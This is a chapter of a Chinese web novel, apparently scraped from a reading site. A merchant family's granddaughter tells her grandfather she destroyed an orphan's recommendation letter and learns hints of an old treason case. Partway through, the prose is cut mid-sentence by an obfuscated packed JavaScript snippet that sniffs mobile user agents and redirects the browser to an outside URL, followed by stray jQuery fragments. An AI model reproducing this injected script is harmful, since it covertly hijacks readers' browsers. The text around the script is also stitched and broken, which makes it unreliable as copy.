默认冷灰
24号文字
方正启体

25. 居然是全员恶人

作者:聘得衔蝉无本书字数:K更新时间:
    “信封上并未署名,只凭字迹与措辞,应当是中京某位颇有名望的大儒。”崔重岫半真半假地说道,神色凝重,“信中言辞恳切,劝卫慈早日入京,莫要埋没了一身才华。看那意思……他似乎早有去意。”


    “那信呢!”崔老太爷急切地追问,身子前倾,枯瘦的手紧紧抓住她皓腕,“信现在何处?”


    “撕了。”


    崔重岫轻描淡写地吐出两个字,仿若是在说一件微不足道的小事。


    “撕……撕了?”崔老太爷愕然一愣,似是一时没反应过来。


    “是。”


    崔重岫露出笑靥,理直气壮道,“孙女当时便觉得此事不妥,卫慈身为崔家收留的人,若要入京求学,理应先禀明祖父与父亲,由长辈出面安排才是。这般私下与外人勾连,甚至还收到了荐举书,若是一旦传扬出去,不知情的还以为咱们崔家苛待了他,逼得他不得不另谋出路。这对崔氏的名声,岂不是极为不利。”


    她稍作停顿,观察着崔老太爷的表情,继续道,“况且,如今朝局未稳,中京形势复杂。他若真去了国子监,万一惹出什么祸端,咱们崔家收留他至今,岂能独善其身,不被他牵连?为了家族安危,孙女便自作主张,将那信连同荐举书一并毁了。”


    崔老太爷听罢她这番话,面上神情可谓是精彩纷呈。


    他紧抓住崔重岫的手一松,整个人宛如被抽走全身气力,重重地跌靠回迎枕上。他大口大口地喘着粗气,眼睛却直勾勾地盯着帐顶,失神了半晌。


    室内一片死寂,只能听到他粗重而衰败的喘息声。


    就在崔重岫以为他要降罪于自己并未留存信文之际,崔老太爷却倏地发出一阵低哑的笑声。


    “好……好!好!”


    崔老太爷连声叫好,悬着的心就此安放许多,露出一丝如释重负的笑意。


    他本还担心这孩子是被卫慈迷了心窍,没成想却是误打误撞,替他解决了一个大隐患!荐举书……那祸根身在兴临,竟还能与相隔千里的中京互通鱼雁。料想这些年他在府中虽看似安分,实则暗中筹谋,想要摆脱崔氏,更甚于……想要翻案!


    幸而崔重岫是个娇纵任性的孩子,直截将书信毁了。


    “秀秀做得好!做得太好了!那东西……留不得!万万留不得!”崔老太爷在大惊大喜之际语无伦次,“未曾想……未曾想我崔氏这一辈里,竟还有你这般识大体、顾大局的孩子!那卫慈……他是个祸害!若教他去往中京,崔氏满门便要大祸临头了啊!”


    这番夸赞,来得如此突兀,又如此真切。


    崔重岫思及原剧情中卫慈离开兴临后,仅仅三年,便以私造盐铁论罪崔氏,本以为是他以怨报德的铁证,意在抹除往事痕迹,乃至图谋崔氏家财,目前看来……隐情是必然的了。


    “不过是一封荐举书,为何……”她恰到好处地表现出不明所以的困惑,顺势问询崔老太爷,“祖父,您既说孙女做得对,那您可否告诉孙女,为何一封信,竟能关系到崔氏的存亡?倘若他如此危险,崔氏为何要将他留在府中,又为何……要阻止他离开?”


    她一连串的问题直指关键,深知此刻的崔老太爷心神激荡,防备最为薄弱,是套话的好时机。


    崔老太爷看着眼前在平日里只知娇纵玩乐的孙女,首次发觉她竟如此敏锐与果决。


    若是男儿身……


    他心中闪过些许惋惜,满腔赞许也被更浓重的疲惫和悔恨所取代,移开目光,不再看她,声音也变得含糊而飘忽。


    “有些事……是上一辈的孽债……”他喃喃自语,像是在说给她听,又像是在对自己说,“你只需晓得,卫慈此人……身世特殊,不可不防。咱们崔氏收留他,已是仁至义尽,但他若是不识好歹,想要恩将仇报,那咱们也不能手软。”


    他言说到此处,神情复杂,有忌惮,有狠厉,却也夹杂着极淡的愧疚。


    这份愧疚之情并非对于卫慈,而是对早已亡故的卫老大人。当年卫氏遭难,他虽未能施以援手,可到底保住了卫氏唯一的血脉。只是现如今……却成了悬在崔氏头顶的一柄剑。


    崔老太爷语重心长,叮嘱着崔重岫道,“秀秀,卫慈那处……自有祖父看着,你只需安安分分做你的崔氏三娘子,等着父母日后为你寻门好亲事便是。”


    他的话意有些前言不搭后语,隐喻着不愿明说的苦衷。


    “祖父?”崔重岫追问。


    崔老太爷却只是摆了摆手,闭上双眼,一副不再多言的作态,吐出几个模糊不清的字眼,“……卫氏的……债……沾不得啊……”


    瞧他这般,崔重岫知道再问下去也无济于事。好在,仅凭三言两语透露出的,兼以她所知的信息,已然足够她拼凑出部分剧情,可惜无从考证。


    “是。”


    她低下头,故作乖觉,掩去眼底的思索,“孙女明白了,日后定当不再让祖父操心。”


    崔老太爷满意颔首,身子往后靠了靠,愈显得老态龙钟,“行了,你也累了,回去歇着罢。记住祖父的话,莫要再与那卫慈走得太近。”


    是以,崔重岫起身行礼,恭顺地离开此处。


    外头冬阳明媚。


    卫氏谋逆案……


    相关设定在崔重岫脑海中被反复推敲,而卫慈寄宿崔府,固然有一部分出于所谓“故交情谊”,只怕更多的还是另有所图。抑或说,崔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054787|194340||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    老太爷本意,就是一场博弈与投机,未曾想,假借施恩名义的善举,反而祸及门楣,促使得崔氏骑虎难下。


    崔重岫忽然觉得有些好笑。


    她还当自己拿到的是个恶毒女配反向攻略反派的烂俗剧本,料不到,剧本底下藏着一出权谋戏码。


    兴临崔氏……相隔中京千余里,相较于主线中清一色的天潢贵胄,动辄太子王爷、丞相将军,最次也得是皇亲国戚,商贾之流的崔氏实在微末到不值一提。然则,微末至此的崔氏,明面上还算过得去,细细咂摸,不过是个烂泥坑,连同她在内,皆是池鱼堂燕。


    但也由此可得,卫慈毋论是在中京,亦或兴临,处境俱都不利于他,寄居崔氏日久,便更险恶一分。起码在崔老太爷心目中,他除却是卫氏遗孤,还是不得不提防,甚于存亡之际既可拱手让人、亦可赶尽杀绝的筹码。


    若此,崔老太爷虽将他领回府中,却对他用度被克扣一事视若无睹,就说得通了。


    乃至他归京后才稳固官位,上没勾结公卿,下不笼络同僚,反倒率先构陷并问罪崔氏,也说得通了。


    “有意思。”


    崔重岫低声呢喃了一句,唇角勾起玩味的笑意,难得换位思考,站在卫慈的角度去看待一切,“这可糟糕了,怎么想都是全员恶人,没一个好东西。”


    她拢了拢披着的氅衣,转身走进了漫天风雪之中,背影清瘦而挺拔,透出与这柔弱躯壳截然不相符的冷硬与锋利。


    *


    昨夜的雪下得极大,到了今早,整个崔府都被笼罩在一片皑皑素白之中。


    此时的西北角厢房内,炭火终是燃尽最后的余温。


    卫慈拥着单薄被褥,在寒意侵袭中勉强入睡,却又在天光微明时被冻醒。他下意识摸了摸喉间,那处残留的指痕还未彻底消退,被衣领遮掩,大抵是崔重岫力度把控得当,并无不适——


    微妙又微弱的庆幸蓦然犹如一根刺,扎在他初醒后还有些浑噩的思绪中。


    ——他在想什么?


    被那人凌虐,当作不知是猫狗还是器物一般摆弄,事后竟还感念她不成?他何时竟不堪至此了?


    残余着大半汤面的海碗还搁在书案上,像是某种荒诞的证明……证明昨夜那场近乎可耻的妥协并非他的幻梦。


    “……咳。”


    卫慈低咳一声,声音嘶哑,喉咙干涩得厉害。


    他缓慢撑坐起身,行至案边,指尖触及到随意搁在那儿的兰草玉佩,冷意顺着指腹蔓延至心扉。他垂眸看着这枚失而复得的旧物,眼底浮现晦暗不明的情绪。


    崔秀秀……


    这个名讳不知多少次在他唇齿间被无声地提及。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)